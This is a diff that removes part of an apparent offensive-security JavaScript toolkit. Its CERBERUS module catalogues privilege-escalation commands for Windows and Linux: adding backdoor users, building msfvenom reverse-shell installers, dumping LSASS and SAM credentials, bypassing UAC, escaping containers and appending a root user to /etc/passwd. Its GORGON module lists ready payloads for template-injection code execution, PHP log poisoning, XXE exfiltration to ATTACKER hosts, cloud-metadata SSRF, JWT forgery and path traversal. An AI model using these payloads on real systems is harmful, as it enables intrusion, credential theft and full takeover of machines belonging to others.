-                    addIntel('ARACHNE', `[SIMULATED] Chain analysis: ${result.completeChains} complete, ${result.partialChains} partial, ${result.knownChainMatches} known`, 'success');
-                    console.log('[ARACHNE v2.0] Playbook:', this.generatePlaybook(result.chains[0], { target: 'demo.local' }));
-                } else { toast(`[SIMULATED] 🧵 ARACHNE v2.0: ${result.partialChains} partial threads`, 'warning'); }
-                console.log('[ARACHNE v2.0] Full Analysis:', result);
-                return result;
-            }
-        };
-
-        window.ARACHNE = ARACHNE;
-
-        // ═══════════════════════════════════════════════════════════════
-        // CERBERUS v2.0 - Production-Grade Privilege Escalation Engine
-        // Boundary sentinel - comprehensive privesc with CVE database & MITRE mappings
-        // ═══════════════════════════════════════════════════════════════
-        const CERBERUS = {
-            name: 'CERBERUS',
-            version: '2.0.0',
-            description: 'Production-grade privilege escalation with CVE database',
-
-            // ═══════════════════════════════════════════════════════════════
-            // WINDOWS PRIVILEGE ESCALATION TECHNIQUES (25+ vectors)
-            // ═══════════════════════════════════════════════════════════════
-            WINDOWS_TECHNIQUES: {
-                // Service-Based
-                unquoted_service: { name: 'Unquoted Service Path', mitre: 'T1574.009', check: 'wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\\Windows\\\\"', exploit: 'sc qc [service]; place exe in unquoted path', requirements: ['write_access_to_path'], privilege: 'SYSTEM', difficulty: 'easy', detection: 'low', reliability: 0.9 },
-                weak_service_perms: { name: 'Weak Service Permissions', mitre: 'T1574.010', check: 'accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul', exploit: 'sc config [svc] binpath= "cmd /c net user hacker Pass123! /add"', requirements: ['service_modify'], privilege: 'SYSTEM', difficulty: 'easy', detection: 'low', reliability: 0.95, tools: ['accesschk', 'PowerUp'] },
-                service_registry: { name: 'Service Registry Permissions', mitre: 'T1574.011', check: 'Get-Acl HKLM:\\System\\CurrentControlSet\\Services\\* | where {$_.AccessToString -match "Everyone"}', exploit: 'Modify ImagePath in registry', requirements: ['registry_write'], privilege: 'SYSTEM', difficulty: 'easy', detection: 'low', reliability: 0.85 },
-                dll_hijack: { name: 'DLL Hijacking', mitre: 'T1574.001', check: 'procmon.exe (filter: NAME NOT FOUND, Path ends with .dll)', exploit: 'Place malicious DLL in search path', requirements: ['write_to_path'], privilege: 'varies', difficulty: 'medium', detection: 'medium', reliability: 0.7, tools: ['procmon', 'Robber'] },
-                dll_sideload: { name: 'DLL Side-Loading', mitre: 'T1574.002', check: 'Find signed executables that load DLLs from CWD', exploit: 'Pair legit exe with malicious DLL', requirements: ['write_access'], privilege: 'varies', difficulty: 'medium', detection: 'low', reliability: 0.8 },
-                // Token-Based (Potato Family)
-                juicy_potato: { name: 'JuicyPotato', mitre: 'T1134.001', check: 'whoami /priv | findstr SeImpersonate', exploit: 'JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID}', requirements: ['SeImpersonatePrivilege', 'pre_win10_1809'], privilege: 'SYSTEM', difficulty: 'easy', detection: 'medium', reliability: 0.95, cve: null, tools: ['JuicyPotato'] },
-                rogue_potato: { name: 'RoguePotato', mitre: 'T1134.001', check: 'whoami /priv | findstr SeImpersonate', exploit: 'RoguePotato.exe -r [IP] -e "cmd.exe"', requirements: ['SeImpersonatePrivilege'], privilege: 'SYSTEM', difficulty: 'easy', detection: 'medium', reliability: 0.9, tools: ['RoguePotato'] },
-                print_spoofer: { name: 'PrintSpoofer', mitre: 'T1134.001', check: 'whoami /priv | findstr SeImpersonate', exploit: 'PrintSpoofer.exe -i -c cmd', requirements: ['SeImpersonatePrivilege'], privilege: 'SYSTEM', difficulty: 'easy', detection: 'medium', reliability: 0.95, tools: ['PrintSpoofer'] },
-                god_potato: { name: 'GodPotato', mitre: 'T1134.001', check: 'whoami /priv | findstr SeImpersonate', exploit: 'GodPotato.exe -cmd "cmd /c whoami"', requirements: ['SeImpersonatePrivilege'], privilege: 'SYSTEM', difficulty: 'easy', detection: 'medium', reliability: 0.95, tools: ['GodPotato'] },
-                sweet_potato: { name: 'SweetPotato', mitre: 'T1134.001', check: 'whoami /priv | findstr SeImpersonate', exploit: 'SweetPotato.exe -p cmd.exe', requirements: ['SeImpersonatePrivilege'], privilege: 'SYSTEM', difficulty: 'easy', detection: 'medium', reliability: 0.9, tools: ['SweetPotato'] },
-                // Registry-Based
-                always_install_elevated: { name: 'AlwaysInstallElevated', mitre: 'T1548.002', check: 'reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated && reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated', exploit: 'msfvenom -p windows/shell_reverse_tcp -f msi > shell.msi; msiexec /quiet /qn /i shell.msi', requirements: ['registry_key_set'], privilege: 'SYSTEM', difficulty: 'easy', detection: 'low', reliability: 0.95 },
-                autorun_registry: { name: 'Autorun Registry Keys', mitre: 'T1547.001', check: 'reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run', exploit: 'Modify autorun entries with writable paths', requirements: ['registry_write'], privilege: 'current_user', difficulty: 'easy', detection: 'medium', reliability: 0.8 },
-                // Credential-Based
-                stored_credentials: { name: 'Stored Credentials', mitre: 'T1552.001', check: 'cmdkey /list', exploit: 'runas /savecred /user:DOMAIN\\admin cmd.exe', requirements: ['stored_cred'], privilege: 'stored_user', difficulty: 'easy', detection: 'low', reliability: 0.95 },
-                sam_dump: { name: 'SAM/SYSTEM Dump', mitre: 'T1003.002', check: 'reg save HKLM\\SAM sam.save; reg save HKLM\\SYSTEM sys.save', exploit: 'secretsdump.py -sam sam.save -system sys.save LOCAL', requirements: ['admin'], privilege: 'any_local', difficulty: 'medium', detection: 'high', reliability: 0.95, tools: ['impacket', 'mimikatz'] },
-                lsass_dump: { name: 'LSASS Memory Dump', mitre: 'T1003.001', check: 'procdump.exe -accepteula -ma lsass.exe lsass.dmp', exploit: 'mimikatz sekurlsa::minidump lsass.dmp; sekurlsa::logonpasswords', requirements: ['SeDebugPrivilege'], privilege: 'any_cached', difficulty: 'medium', detection: 'high', reliability: 0.9, tools: ['mimikatz', 'procdump'] },
-                // UAC Bypass
-                uac_fodhelper: { name: 'UAC Bypass (fodhelper)', mitre: 'T1548.002', check: 'reg query HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command 2>nul', exploit: 'reg add HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command /d "cmd.exe" /f && fodhelper.exe', requirements: ['medium_integrity', 'local_admin'], privilege: 'high_integrity', difficulty: 'easy', detection: 'medium', reliability: 0.85, tools: ['UACME'] },
-                uac_eventvwr: { name: 'UAC Bypass (eventvwr)', mitre: 'T1548.002', check: 'Check for eventvwr.exe in PATH', exploit: 'reg add HKCU\\Software\\Classes\\mscfile\\Shell\\Open\\command /d "cmd.exe" /f && eventvwr.exe', requirements: ['medium_integrity'], privilege: 'high_integrity', difficulty: 'easy', detection: 'medium', reliability: 0.8 },
-                uac_computerdefaults: { name: 'UAC Bypass (computerdefaults)', mitre: 'T1548.002', check: 'Check for computerdefaults.exe', exploit: 'Similar registry hijack technique', requirements: ['medium_integrity'], privilege: 'high_integrity', difficulty: 'easy', detection: 'medium', reliability: 0.8 },
-                // Kernel Exploits (CVE-based)
-                kernel_printnightmare: { name: 'PrintNightmare', mitre: 'T1068', check: 'Get-Service Spooler | select Status', exploit: 'CVE-2021-34527 / CVE-2021-1675 exploit', requirements: ['spooler_running'], privilege: 'SYSTEM', difficulty: 'easy', detection: 'high', reliability: 0.9, cve: ['CVE-2021-34527', 'CVE-2021-1675'], tools: ['cube0x0 PoC'] },
-                kernel_hivenightmare: { name: 'HiveNightmare/SeriousSAM', mitre: 'T1003.002', check: 'icacls C:\\Windows\\System32\\config\\SAM', exploit: 'Copy SAM from VSS, extract hashes', requirements: ['vss_enabled'], privilege: 'any_local', difficulty: 'easy', detection: 'medium', reliability: 0.85, cve: 'CVE-2021-36934' },
-                kernel_krbrelayup: { name: 'KrbRelayUp', mitre: 'T1558', check: 'Check for domain-joined + LDAP signing disabled', exploit: 'KrbRelayUp.exe relay -m shadowcred', requirements: ['domain_joined'], privilege: 'SYSTEM', difficulty: 'medium', detection: 'medium', reliability: 0.8, tools: ['KrbRelayUp'] },
-                kernel_efspotato: { name: 'EfsPotato', mitre: 'T1134.001', check: 'whoami /priv | findstr SeImpersonate', exploit: 'EfsPotato.exe "cmd /c whoami"', requirements: ['SeImpersonatePrivilege'], privilege: 'SYSTEM', difficulty: 'easy', detection: 'medium', reliability: 0.85 },
-                // Scheduled Tasks
-                schtask_writable: { name: 'Writable Scheduled Task', mitre: 'T1053.005', check: 'schtasks /query /fo LIST /v | findstr /i "Task To Run"', exploit: 'Modify scheduled task binary path', requirements: ['task_modify'], privilege: 'task_user', difficulty: 'medium', detection: 'low', reliability: 0.8 }
-            },
-
-            // ═══════════════════════════════════════════════════════════════
-            // LINUX PRIVILEGE ESCALATION TECHNIQUES (30+ vectors)
-            // ═══════════════════════════════════════════════════════════════
-            LINUX_TECHNIQUES: {
-                // SUID/SGID
-                suid_binaries: { name: 'SUID Binary Abuse', mitre: 'T1548.001', check: 'find / -perm -4000 -type f 2>/dev/null', exploit: 'GTFOBins techniques for identified binaries', requirements: ['vulnerable_suid'], privilege: 'root', difficulty: 'medium', detection: 'low', reliability: 0.85, resource: 'https://gtfobins.github.io/' },
-                sgid_binaries: { name: 'SGID Binary Abuse', mitre: 'T1548.001', check: 'find / -perm -2000 -type f 2>/dev/null', exploit: 'GTFOBins SGID techniques', requirements: ['vulnerable_sgid'], privilege: 'group', difficulty: 'medium', detection: 'low', reliability: 0.8 },
-                // Sudo
-                sudo_nopasswd: { name: 'Sudo NOPASSWD', mitre: 'T1548.003', check: 'sudo -l | grep NOPASSWD', exploit: 'GTFOBins sudo techniques', requirements: ['sudo_nopasswd'], privilege: 'root', difficulty: 'easy', detection: 'low', reliability: 0.95 },
-                sudo_env_keep: { name: 'Sudo env_keep', mitre: 'T1548.003', check: 'sudo -l | grep env_keep', exploit: 'LD_PRELOAD/LD_LIBRARY_PATH injection', requirements: ['env_keep_ld'], privilege: 'root', difficulty: 'easy', detection: 'low', reliability: 0.9 },
-                sudo_baron_samedit: { name: 'Baron Samedit', mitre: 'T1068', check: 'sudoedit -s / 2>&1 | grep -q "sudoedit:"', exploit: 'CVE-2021-3156 heap overflow', requirements: ['sudo_1.8.2-1.8.31', 'sudo_1.9.0-1.9.5p1'], privilege: 'root', difficulty: 'easy', detection: 'medium', reliability: 0.95, cve: 'CVE-2021-3156' },
-                sudo_pwfeedback: { name: 'Sudo pwfeedback', mitre: 'T1068', check: 'sudo -l | grep pwfeedback', exploit: 'CVE-2019-18634 buffer overflow', requirements: ['pwfeedback_enabled'], privilege: 'root', difficulty: 'easy', detection: 'low', reliability: 0.85, cve: 'CVE-2019-18634' },
-                sudo_runas_all: { name: 'Sudo RunAs All', mitre: 'T1548.003', check: 'sudo -l | grep "(ALL, !root)"', exploit: 'sudo -u#-1 /bin/bash (CVE-2019-14287)', requirements: ['runas_all_not_root'], privilege: 'root', difficulty: 'easy', detection: 'low', reliability: 0.9, cve: 'CVE-2019-14287' },
-                // Capabilities
-                cap_setuid: { name: 'CAP_SETUID Capability', mitre: 'T1548.001', check: 'getcap -r / 2>/dev/null | grep cap_setuid', exploit: 'python -c "import os; os.setuid(0); os.system(\'/bin/bash\')"', requirements: ['cap_setuid'], privilege: 'root', difficulty: 'easy', detection: 'low', reliability: 0.95 },
-                cap_dac_override: { name: 'CAP_DAC_OVERRIDE', mitre: 'T1548.001', check: 'getcap -r / 2>/dev/null | grep cap_dac', exploit: 'Read/write any file', requirements: ['cap_dac_override'], privilege: 'root_access', difficulty: 'easy', detection: 'low', reliability: 0.9 },
-                cap_net_raw: { name: 'CAP_NET_RAW', mitre: 'T1040', check: 'getcap -r / 2>/dev/null | grep cap_net_raw', exploit: 'Network packet capture/injection', requirements: ['cap_net_raw'], privilege: 'network_access', difficulty: 'medium', detection: 'medium', reliability: 0.7 },
-                // Kernel Exploits
-                kernel_dirtypipe: { name: 'DirtyPipe', mitre: 'T1068', check: 'uname -r (5.8 <= x < 5.16.11/5.15.25/5.10.102)', exploit: 'CVE-2022-0847 pipe buffer overwrite', requirements: ['vulnerable_kernel'], privilege: 'root', difficulty: 'easy', detection: 'medium', reliability: 0.95, cve: 'CVE-2022-0847' },
-                kernel_dirtycow: { name: 'DirtyCOW', mitre: 'T1068', check: 'uname -r (2.6.22 <= x < 4.8.3/4.7.9/4.4.26)', exploit: 'CVE-2016-5195 copy-on-write race', requirements: ['vulnerable_kernel'], privilege: 'root', difficulty: 'medium', detection: 'high', reliability: 0.85, cve: 'CVE-2016-5195' },
-                kernel_pwnkit: { name: 'PwnKit', mitre: 'T1068', check: 'pkexec --version (polkit < 0.120)', exploit: 'CVE-2021-4034 pkexec SUID', requirements: ['pkexec_suid'], privilege: 'root', difficulty: 'easy', detection: 'medium', reliability: 0.95, cve: 'CVE-2021-4034' },
-                kernel_overlayfs: { name: 'OverlayFS Privesc', mitre: 'T1068', check: 'uname -r; cat /etc/os-release', exploit: 'CVE-2021-3493 Ubuntu OverlayFS', requirements: ['ubuntu_kernel'], privilege: 'root', difficulty: 'easy', detection: 'medium', reliability: 0.85, cve: 'CVE-2021-3493' },
-                kernel_netfilter: { name: 'Netfilter Privesc', mitre: 'T1068', check: 'uname -r (5.4-5.6.10)', exploit: 'CVE-2022-25636 heap overflow', requirements: ['vulnerable_kernel'], privilege: 'root', difficulty: 'medium', detection: 'high', reliability: 0.7, cve: 'CVE-2022-25636' },
-                // Cron/Timer
-                cron_writable: { name: 'Writable Cron Job', mitre: 'T1053.003', check: 'ls -la /etc/cron* /var/spool/cron/crontabs 2>/dev/null', exploit: 'Modify cron script with reverse shell', requirements: ['writable_cron'], privilege: 'cron_user', difficulty: 'easy', detection: 'low', reliability: 0.9 },
-                cron_wildcard: { name: 'Cron Wildcard Injection', mitre: 'T1053.003', check: 'cat /etc/crontab | grep "*"', exploit: 'tar --checkpoint exploitation', requirements: ['wildcard_cron'], privilege: 'cron_user', difficulty: 'medium', detection: 'low', reliability: 0.85 },
-                systemd_timer: { name: 'Systemd Timer Abuse', mitre: 'T1053.006', check: 'systemctl list-timers --all', exploit: 'Modify timer service unit', requirements: ['timer_modify'], privilege: 'service_user', difficulty: 'medium', detection: 'medium', reliability: 0.75 },
-                // Path/Library
-                path_injection: { name: 'PATH Injection', mitre: 'T1574.007', check: 'echo $PATH; grep -r "system\\|exec" /opt /home 2>/dev/null', exploit: 'Create malicious binary in writable PATH', requirements: ['relative_path', 'path_write'], privilege: 'varies', difficulty: 'medium', detection: 'low', reliability: 0.8 },
-                ld_preload: { name: 'LD_PRELOAD Hijacking', mitre: 'T1574.006', check: 'sudo -l | grep env_keep.*LD', exploit: 'gcc -fPIC -shared -o /tmp/pe.so pe.c; sudo LD_PRELOAD=/tmp/pe.so binary', requirements: ['ld_preload_env'], privilege: 'root', difficulty: 'easy', detection: 'medium', reliability: 0.9 },
-                ld_library_path: { name: 'LD_LIBRARY_PATH Hijacking', mitre: 'T1574.006', check: 'ldd /path/to/suid/binary', exploit: 'Create malicious shared library', requirements: ['missing_lib'], privilege: 'suid_owner', difficulty: 'medium', detection: 'low', reliability: 0.8 },
-                // Container Escape
-                docker_socket: { name: 'Docker Socket Escape', mitre: 'T1611', check: 'ls -la /var/run/docker.sock', exploit: 'docker run -v /:/mnt --rm -it alpine chroot /mnt sh', requirements: ['docker_socket'], privilege: 'host_root', difficulty: 'easy', detection: 'medium', reliability: 0.95 },
-                docker_privileged: { name: 'Privileged Container Escape', mitre: 'T1611', check: 'cat /proc/1/cgroup; fdisk -l 2>/dev/null', exploit: 'Mount host disk, access host filesystem', requirements: ['privileged_container'], privilege: 'host_root', difficulty: 'easy', detection: 'low', reliability: 0.95 },
-                docker_cap_abuse: { name: 'Docker Capability Abuse', mitre: 'T1611', check: 'capsh --print', exploit: 'CAP_SYS_ADMIN/CAP_SYS_PTRACE escape', requirements: ['dangerous_caps'], privilege: 'host_root', difficulty: 'medium', detection: 'medium', reliability: 0.7 },
-                k8s_serviceaccount: { name: 'K8s ServiceAccount Abuse', mitre: 'T1552.007', check: 'cat /var/run/secrets/kubernetes.io/serviceaccount/token', exploit: 'kubectl auth can-i --list; escalate via RBAC', requirements: ['k8s_sa_token'], privilege: 'cluster_access', difficulty: 'medium', detection: 'low', reliability: 0.75 },
-                // File Permissions
-                passwd_writable: { name: 'Writable /etc/passwd', mitre: 'T1136.001', check: 'ls -la /etc/passwd', exploit: 'echo "hacker:$(openssl passwd -1 pass):0:0::/root:/bin/bash" >> /etc/passwd', requirements: ['passwd_writable'], privilege: 'root', difficulty: 'easy', detection: 'high', reliability: 0.95 },
-                shadow_readable: { name: 'Readable /etc/shadow', mitre: 'T1003.008', check: 'ls -la /etc/shadow; cat /etc/shadow 2>/dev/null', exploit: 'john --wordlist=rockyou.txt shadow_hashes', requirements: ['shadow_readable'], privilege: 'cracked_user', difficulty: 'medium', detection: 'low', reliability: 0.7, tools: ['john', 'hashcat'] },
-                ssh_key_readable: { name: 'SSH Key Theft', mitre: 'T1552.004', check: 'find / -name "id_rsa" -o -name "*.pem" 2>/dev/null', exploit: 'chmod 600 key; ssh -i key user@host', requirements: ['readable_key'], privilege: 'key_owner', difficulty: 'easy', detection: 'low', reliability: 0.9 },
-                // NFS
-                nfs_root_squash: { name: 'NFS no_root_squash', mitre: 'T1021.002', check: 'cat /etc/exports; showmount -e localhost', exploit: 'Mount share, create SUID binary as root', requirements: ['no_root_squash'], privilege: 'root', difficulty: 'easy', detection: 'low', reliability: 0.9 }
-            },
-
-            // ═══════════════════════════════════════════════════════════════
-            // ANALYSIS ENGINE
-            // ═══════════════════════════════════════════════════════════════
-            analyzeSystem(systemInfo) {
-                const os = systemInfo.os?.toLowerCase() || '';
-                const isWindows = os.includes('windows');
-                const techniques = isWindows ? this.WINDOWS_TECHNIQUES : this.LINUX_TECHNIQUES;
-                const paths = [];
-
-                Object.entries(techniques).forEach(([id, tech]) => {
-                    const path = { id, ...tech, applicable: true, score: 0, reasons: [] };
-                    const difficultyScore = { easy: 35, medium: 25, hard: 15 };
-                    const detectionPenalty = { low: 0, medium: -10, high: -25 };
-                    const reliabilityBonus = Math.round((tech.reliability || 0.5) * 20);
-
-                    path.score = (difficultyScore[tech.difficulty] || 0) + (detectionPenalty[tech.detection] || 0) + reliabilityBonus;
-
-                    // Match requirements to system info
-                    if (systemInfo.privileges) {
-                        if (tech.requirements.some(r => systemInfo.privileges.includes(r) || systemInfo.privileges.some(p => p.toLowerCase().includes(r.toLowerCase())))) {
-                            path.score += 40;
-                            path.reasons.push('Privilege requirement matched');
-                        }
-                    }
-                    if (systemInfo.kernel && tech.cve) {
-                        path.score += 15;
-                        path.reasons.push(`Kernel exploit available: ${tech.cve}`);
-                    }
-                    if (path.score > 0) paths.push(path);
-                });
-
-                return {
-                    os: isWindows ? 'Windows' : 'Linux',
-                    totalTechniques: Object.keys(techniques).length,
-                    techniques,
-                    paths: paths.sort((a, b) => b.score - a.score),
-                    recommended: paths.filter(p => p.score >= 30).slice(0, 8),
-                    cveVectors: paths.filter(p => p.cve),
-                    highReliability: paths.filter(p => (p.reliability || 0) >= 0.85)
-                };
-            },
-
-            generateEnumScript(os) {
-                if (os.toLowerCase().includes('windows')) {
-                    return `@echo off
-REM CERBERUS v2.0 Windows Enumeration
-echo ========================================
-echo [*] System Info
-systeminfo
-echo ========================================
-echo [*] Current User and Privileges
-whoami /all
-echo ========================================
-echo [*] Token Privileges
-whoami /priv
-echo ========================================
-echo [*] Local Users and Groups
-net user
-net localgroup administrators
-echo ========================================
-echo [*] Services (Unquoted Paths)
-wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\\\\Windows\\\\"
-echo ========================================
-echo [*] AlwaysInstallElevated
-reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 2>nul
-reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 2>nul
-echo ========================================
-echo [*] Stored Credentials
-cmdkey /list
-echo ========================================
-echo [*] Scheduled Tasks
-schtasks /query /fo LIST /v | findstr /i "Task To Run"
-echo ========================================
-echo [*] AutoRun Registry Keys
-reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
-reg query HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
-echo ========================================
-echo [*] SAM Permissions (HiveNightmare check)
-icacls C:\\Windows\\System32\\config\\SAM 2>nul
-echo ========================================
-echo [*] Print Spooler Status
-sc query Spooler`;
-                }
-                return `#!/bin/bash
-# CERBERUS v2.0 Linux Enumeration
-echo "========================================"
-echo "[*] System Info"
-uname -a; cat /etc/os-release 2>/dev/null; cat /etc/issue 2>/dev/null
-echo "========================================"
-echo "[*] Current User"
-id; whoami; groups
-echo "========================================"
-echo "[*] Sudo Permissions"
-sudo -l 2>/dev/null
-echo "========================================"
-echo "[*] SUID Binaries"
-find / -perm -4000 -type f 2>/dev/null | head -50
-echo "========================================"
-echo "[*] SGID Binaries"
-find / -perm -2000 -type f 2>/dev/null | head -30
-echo "========================================"
-echo "[*] Capabilities"
-getcap -r / 2>/dev/null
-echo "========================================"
-echo "[*] Writable /etc/passwd?"
-ls -la /etc/passwd /etc/shadow 2>/dev/null
-echo "========================================"
-echo "[*] Cron Jobs"
-cat /etc/crontab 2>/dev/null
-ls -la /etc/cron.* 2>/dev/null
-echo "========================================"
-echo "[*] Systemd Timers"
-systemctl list-timers --all 2>/dev/null | head -20
-echo "========================================"
-echo "[*] SSH Keys"
-find / -name "id_rsa" -o -name "*.pem" -o -name "authorized_keys" 2>/dev/null | head -20
-echo "========================================"
-echo "[*] Docker Socket"
-ls -la /var/run/docker.sock 2>/dev/null
-echo "========================================"
-echo "[*] Container Check"
-cat /proc/1/cgroup 2>/dev/null | grep -i docker
-echo "========================================"
-echo "[*] NFS Exports"
-cat /etc/exports 2>/dev/null
-echo "========================================"
-echo "[*] Kernel Version (CVE Check)"
-echo "Kernel: $(uname -r)"
-echo "Check for: DirtyPipe (5.8-5.16), PwnKit (polkit), DirtyCOW (2.6-4.8)"`;
-            },
-
-            async analyzeWithLLM(systemInfo, enumOutput) {
-                const apiKey = getApiKey();
-                if (!apiKey) return { error: 'No API key configured' };
-                const prompt = `You are CERBERUS v2.0, boundary escalation specialist for an authorized local assessment. Analyze enumeration output and identify viable privilege-boundary hypotheses without overstating evidence.\n\nSYSTEM INFO:\n${JSON.stringify(systemInfo, null, 2)}\n\nENUMERATION OUTPUT:\n${enumOutput}\n\nProvide:\n1. Candidate privesc vectors ranked by evidence quality and success probability\n2. Safe confirmation probes for the top 5 vectors\n3. CVEs that appear applicable to this kernel/version and what would falsify them\n4. Required local tools or artifacts already present in the environment\n5. Detection risk (1-10) and owner-impact risk for each\n6. Recommended retest order with reasoning\n7. Remediation, detector, and cleanup notes for every confirmed route\n\nFormat as detailed JSON.`;
-
-                try {
-                    const content = await safeLLMCall(prompt, { title: 'T3MP3ST CERBERUS v2.0', maxTokens: 5000, temperature: 0.2 });
-                    return { analysis: content };
-                } catch (error) { return { error: error.message }; }
-            },
-
-            runDemo() {
-                console.log('[CERBERUS v2.0] 🔓 Production-grade privesc analysis...');
-                toast('[SIMULATED] 🔓 CERBERUS v2.0: Seeking liberation paths...', 'info');
-                const demoSystemInfo = { os: 'Linux Ubuntu 20.04', kernel: '5.8.0-43-generic', privileges: ['sudo_permission', 'docker_socket', 'SeImpersonatePrivilege'], user: 'www-data', groups: ['www-data', 'docker'] };
-                const result = this.analyzeSystem(demoSystemInfo);
-                toast(`[SIMULATED] 🔓 CERBERUS v2.0: ${result.recommended.length} high-confidence paths, ${result.cveVectors.length} CVE exploits!`, 'success');
-                addIntel('CERBERUS', `[SIMULATED] ${result.totalTechniques} techniques, ${result.recommended.length} recommended, ${result.cveVectors.length} CVEs`, 'success');
-                console.log('[CERBERUS v2.0] Analysis:', result);
-                console.log('[CERBERUS v2.0] Enum Script:', this.generateEnumScript(demoSystemInfo.os));
-                return result;
-            }
-        };
-
-        window.CERBERUS = CERBERUS;
-
-        // ═══════════════════════════════════════════════════════════════
-        // GORGON v2.0 - Production-Grade Precision Strike Engine
-        // Surgical single-target exploitation with CVE database & evasion
-        // ═══════════════════════════════════════════════════════════════
-        const GORGON = {
-            name: 'GORGON',
-            version: '2.0.0',
-            description: 'Production-grade precision strike - surgical exploitation',
-            power: 95, offense: 98, defense: 2,
-
-            // ═══════════════════════════════════════════════════════════════
-            // PRIORITY VULNERABILITY TAXONOMY (Tier S-D, CVE-mapped)
-            // ═══════════════════════════════════════════════════════════════
-            PRIORITY_VULNS: {
-                // Tier S - Instant Kill (Unauth RCE)
-                rce_unauth: { tier: 'S', impact: 100, stealth: 70, mitre: 'T1190', name: 'Unauthenticated RCE', cves: ['CVE-2021-44228', 'CVE-2021-26855', 'CVE-2022-22965', 'CVE-2017-5638', 'CVE-2019-19781', 'CVE-2023-22515'], techniques: ['log4shell', 'struts_ognl', 'spring4shell', 'citrix_adc'] },
-                ssrf_cloud: { tier: 'S', impact: 95, stealth: 85, mitre: 'T1090', name: 'SSRF to Cloud Metadata', cves: ['CVE-2019-5418', 'CVE-2021-21972'], techniques: ['imdsv1', 'gcp_metadata', 'azure_imds', 'alibaba_metadata'], endpoints: { aws: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', gcp: 'http://metadata.google.internal/computeMetadata/v1/?recursive=true', azure: 'http://169.254.169.254/metadata/instance?api-version=2021-02-01', alibaba: 'http://100.100.100.200/latest/meta-data/' } },
-                deserialization: { tier: 'S', impact: 95, stealth: 60, mitre: 'T1059', name: 'Insecure Deserialization', cves: ['CVE-2015-4852', 'CVE-2017-9805', 'CVE-2019-2725', 'CVE-2020-2551'], techniques: ['java_serialization', 'python_pickle', 'php_phar', 'dotnet_viewstate', 'jackson', 'fastjson'], gadgets: ['commons_collections', 'spring_core', 'jdk7u21', 'hibernate', 'aspectjweaver'] },
-                // Tier A - Critical Access
-                sqli_auth_bypass: { tier: 'A', impact: 90, stealth: 75, mitre: 'T1190', name: 'SQLi Auth Bypass', cves: ['CVE-2019-9193', 'CVE-2021-27896'], techniques: ['union_based', 'error_based', 'blind_boolean', 'blind_time', 'stacked_queries', 'oob_dns'] },
-                ssti_rce: { tier: 'A', impact: 90, stealth: 65, mitre: 'T1059', name: 'SSTI to RCE', cves: ['CVE-2019-11581', 'CVE-2020-17530'], engines: { jinja2: "{{request.application.__globals__.__builtins__.__import__('os').popen('CMD').read()}}", twig: "{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('CMD')}}", freemarker: '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("CMD")}', velocity: '#set($e="")#set($s=$e.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke($e).exec("CMD"))', mako: '${__import__("os").popen("CMD").read()}', erb: '<%= `CMD` %>', pug: '#{global.process.mainModule.require("child_process").execSync("CMD")}' } },
-                lfi_to_rce: { tier: 'A', impact: 88, stealth: 70, mitre: 'T1083', name: 'LFI to RCE', techniques: { log_poison: { ua: '<?php system($_GET["c"]); ?>', path: '/var/log/apache2/access.log' }, php_filters: 'php://filter/convert.base64-encode/resource=', php_input: 'php://input', proc_fd: '/proc/self/fd/', pearcmd: '/usr/share/php/pearcmd.php?+config-create+/&file=/tmp/x.php', expect: 'expect://CMD' }, wrappers: ['php://filter', 'php://input', 'expect://', 'data://', 'zip://', 'phar://'] },
-                xxe: { tier: 'A', impact: 85, stealth: 80, mitre: 'T1059', name: 'XXE Injection', techniques: { file_read: '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>', ssrf: '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://ATTACKER/">]>', oob: '<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ATTACKER/xxe.dtd">%xxe;]>', cdata: '<!DOCTYPE data [<!ENTITY % dtd SYSTEM "http://ATTACKER/cdata.dtd">%dtd;%all;]>' }, parsers: ['libxml', 'saxon', 'xerces', 'msxml'] },
-                // Tier B - Solid Entry
-                auth_bypass: { tier: 'B', impact: 82, stealth: 88, mitre: 'T1556', name: 'Authentication Bypass', techniques: ['jwt_none', 'jwt_confusion', 'jwt_weak_secret', 'idor', 'session_fixation', 'oauth_token_theft', 'saml_signature_bypass', 'graphql_introspection'] },
-                idor_admin: { tier: 'B', impact: 80, stealth: 90, mitre: 'T1078', name: 'IDOR to Admin', techniques: ['uuid_prediction', 'sequential_ids', 'parameter_pollution', 'mass_assignment'] },
-                jwt_attack: { tier: 'B', impact: 78, stealth: 85, mitre: 'T1550', name: 'JWT Attack', techniques: { alg_none: '{"alg":"none","typ":"JWT"}', alg_confusion: 'RS256→HS256 with public key as secret', kid_injection: '{"kid":"../../dev/null","alg":"HS256"}', jku_spoofing: '{"jku":"https://attacker.com/jwks.json"}', null_signature: 'Remove signature entirely' } },
-                path_traversal: { tier: 'B', impact: 75, stealth: 80, mitre: 'T1083', name: 'Path Traversal', payloads: ['../../../etc/passwd', '....//....//....//etc/passwd', '..%252f..%252f..%252fetc/passwd', '..%c0%af..%c0%af..%c0%afetc/passwd', '..%5c..%5c..%5cwindows\\win.ini'] },
-                // Tier C - Useful Leverage
